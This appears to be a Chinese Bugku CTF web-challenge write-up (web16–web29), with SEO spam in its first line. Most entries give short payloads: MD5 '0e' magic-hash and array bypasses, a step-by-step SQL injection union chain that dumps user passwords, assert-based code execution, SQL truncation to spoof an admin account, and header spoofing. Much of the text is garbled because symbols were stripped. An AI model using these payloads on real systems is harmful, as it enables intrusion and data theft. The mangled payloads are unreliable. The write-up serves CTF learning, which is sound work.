长春网站建设长春,百度电脑版官方下载,建设电商网站报价,免费查企业法人【说明】 整合资源 简略版本2020Bugku write up
web16 备份是个好习惯 /index.php.bak 查看php代码 1.因为md5#xff08;#xff09;函数加密不能处理数组#xff0c;则key1和key2的返回值为空#xff0c;即可获得flag http://123.206.87.240:8002/web16/?kkeyey1[]1函数加密不能处理数组则key1和key2的返回值为空即可获得flag http://123.206.87.240:8002/web16/?kkeyey1[]1kkeyey2[]4 2.利用比较漏洞 如果两个字符经MD5加密后的值为 0exxxxx形式就会被认为是科学计数法且表示的是0*10的xxxx次方还是零都是相等的。 下列的字符串的MD5值都是0e开头的 QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a http://123.206.87.240:8002/web16/?kkeyey1s214587387akkeyey2240610708
参考连接https://blog.csdn.net/qq_42133828/article/details/84871544?utm_mediumdistribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_paidepth_1-utm_sourcedistribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_pai
web17 sql注入 sqlmap工具或Hackbar手动注入 1.判断是否存在注入注入是字符型还是数字型 抓包更改参数id为 1′ or 11 # 2.猜解SQL查询语句中的字段数 1 order by 2 # 1 order by 3 # 3.确定显示的字段顺序 1 union select 1,2 # 4.获取当前数据库 1 union select 1,database() # 5.获取数据库中的表 1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() # 6.获取表中的字段名 1 union select 1,group_concat(column_name) from information_schema.columns where table_name0×7573657273 # 7.下载数据 1 or 11 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 参考链接https://blog.csdn.net/qq_35811830/article/details/86655279?utm_mediumdistribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_paidepth_1-utm_sourcedistribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_pai
web18 秋名山老司机 python脚本 requests get post eval() https://blog.csdn.net/weixin_41607190/article/details/87932977
web19 快 python requests 两次base64解码 https://blog.csdn.net/changer_WE/article/details/88805322?utm_mediumdistribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_paidepth_1-utm_sourcedistribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_pai
web20 cookie欺骗 base64 index.php line1 margin欺骗 filename参数显然是base64加密解密后为keys.txt, line参数猜测为代码行数尝试将filename改为index.php的base64加密line不同显示不同行的代码写一个python脚本跑出所有代码根据代码逻辑存在 keys.php页面且必须 传送margin参数才能访问使用hackbar传送cookie参数margin在网站源码 找到flag。 https://blog.csdn.net/changer_WE/article/details/88978647?utm_mediumdistribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.controldepth_1-utm_sourcedistribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.control
web 21 never give up 1.跳转 抓包或 view-source: 2.三重加密 url% base64 url 3.php 3.1stripos函数 伪协议绕过stripos php://input 3.2 .eregi函数 可以用数组绕过也可以用%00截断 int eregi(string pattern, string string, [array regs]); strlen(b)5anderegi(111.substr(b)5anderegi(111.substr(b)5anderegi(111.substr(b,0,1),“1114”)andsubstr($b,0,1)!4 b%0012345 ereg函数存在NULL截断漏洞 或者*12345或者?12345或者.12345(这里是运用了正则表达式的思想) 3.3 id0 id%00或者id.或者id0e1
扩展phphttps://skysec.top/2017/07/22/PHP%E5%87%BD%E6%95%B0%E9%BB%91%E9%AD%94%E6%B3%95%E5%B0%8F%E6%80%BB%E7%BB%93/ 参考链接 https://www.cnblogs.com/cyc-endeavor/p/10375692.html https://blog.csdn.net/qq_34072526/article/details/86946759?utm_mediumdistribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.controldepth_1-utm_sourcedistribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control
web22 关键字php scandir()函数、assert代码执行漏洞 ?sprint_r(scandir(’./’)) 读取目录及子目录下所有文件名的方法
最简单的是print_r(scandir($dir))还可以利用print_r(glob(.)) scandir() //作用能扫描文件夹下的目录和文件返回值为所有文件名组成的一个数组 show_source() //显示文件源码 highlight_file() //和show_source()函数是一个意思
构造 http://123.206.87.240:8010/ ?sprint_r(scandir(’./’))
参考连接https://www.cnblogs.com/0yst3r-2046/p/10781215.html
web23 正则
?id keyabkeyabcdkey:/a/keya?
“/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”
. 匹配除 “\n” 之外的任何单个字符 匹配它前面的表达式0次或多次等价于{0,}{4,7} 最少匹配 4 次且最多匹配 7 次结合前面的 . 也就是匹配 4 到 7 个任意字符 / 匹配 / 这里的 \ 是为了转义 [a-z] 匹配所有小写字母 [:punct:] 匹配任何标点符号 /i 表示不分大小写 https://www.cnblogs.com/0x200/p/13739130.html
web 24 关键字 hash strcmpy
?v1240610708v2s878926199av3[]1 1.md5 hash 利用比较漏洞 如果两个字符经MD5加密后的值为 0exxxxx形式就会被认为是科学计数法且表示的是0*10的xxxx次方还是零都是相等的。 下列的字符串的MD5值都是0e开头的 QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a 2.strcmp绕过 strcmp比较的是字符串类型如果强行传入其他类型参数会出错出错后返回值0正是利用这点进行绕过。 flag[]xxx 》》 strcmp比较出错 》》返回null 》》null0 》》条件成立得到flag
web25 hint:SQL约束攻击 1.注册一个在数据库中会被认为是admin的账户然后使用这个admin账户登录。 注册用户名 admin 我注册的admin后面有20个空格 密码随便弄一个但要符合要求
2.注册成功之后用你注册的登陆
知识点 1.在SQL中执行字符串处理时字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”对于绝大多数情况来说都是成立的诸如WHERE子句中的字符串或INSERT语句中的字符串例如以下语句的查询结果与使用用户名“vampire”进行查询时的结果是一样的。 SELECT * FROM users WHERE usernamevampire ;
但也存在异常情况最好的例子就是LIKE子句了。注意对尾部空白符的这种修剪操作主要是在“字符串比较”期间进行的。这是因为SQL会在内部使用空格来填充字符串以便在比较之前使其它们的长度保持一致。 2.在所有的INSERT查询中SQL都会根据varchar(n)来限制字符串的最大长度。也就是说如果字符串的长度大于“n”个字符的话那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符那么在插入字符串“vampire”时实际上只能插入字符串的前5个字符即“vampi”。 参考链接
web26 google 构造referer字段 referer: https://www.google.com 参考链接https://blog.csdn.net/qq_43271194/article/details/89970819
web 27 hash碰撞 ?a240610708 md5 hash 利用比较漏洞 如果两个字符经MD5加密后的值为 0exxxxx形式就会被认为是科学计数法且表示的是0*10的xxxx次方还是零都是相等的。 下列的字符串的MD5值都是0e开头的 QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
web28 请从本地访问 抓包 添加字段 X-Forwarded-For:127.0.0.1 X-Forwarded-For伪装头部知识点https://www.jianshu.com/p/98c08956183d
web29 各种绕过 关键字 sha1 get post 知识点 sha1 构造数组 步骤读懂源代码uname get passed post 只要使uname的sha1的值与passwd的sha1的值相等即可但是同时他们两个的值又不能相等
构造 /?uname[]1idmargin 并发送 passwd[]2 的 postdata 请求即可
https://www.cnblogs.com/0yst3r-2046/p/10928402.html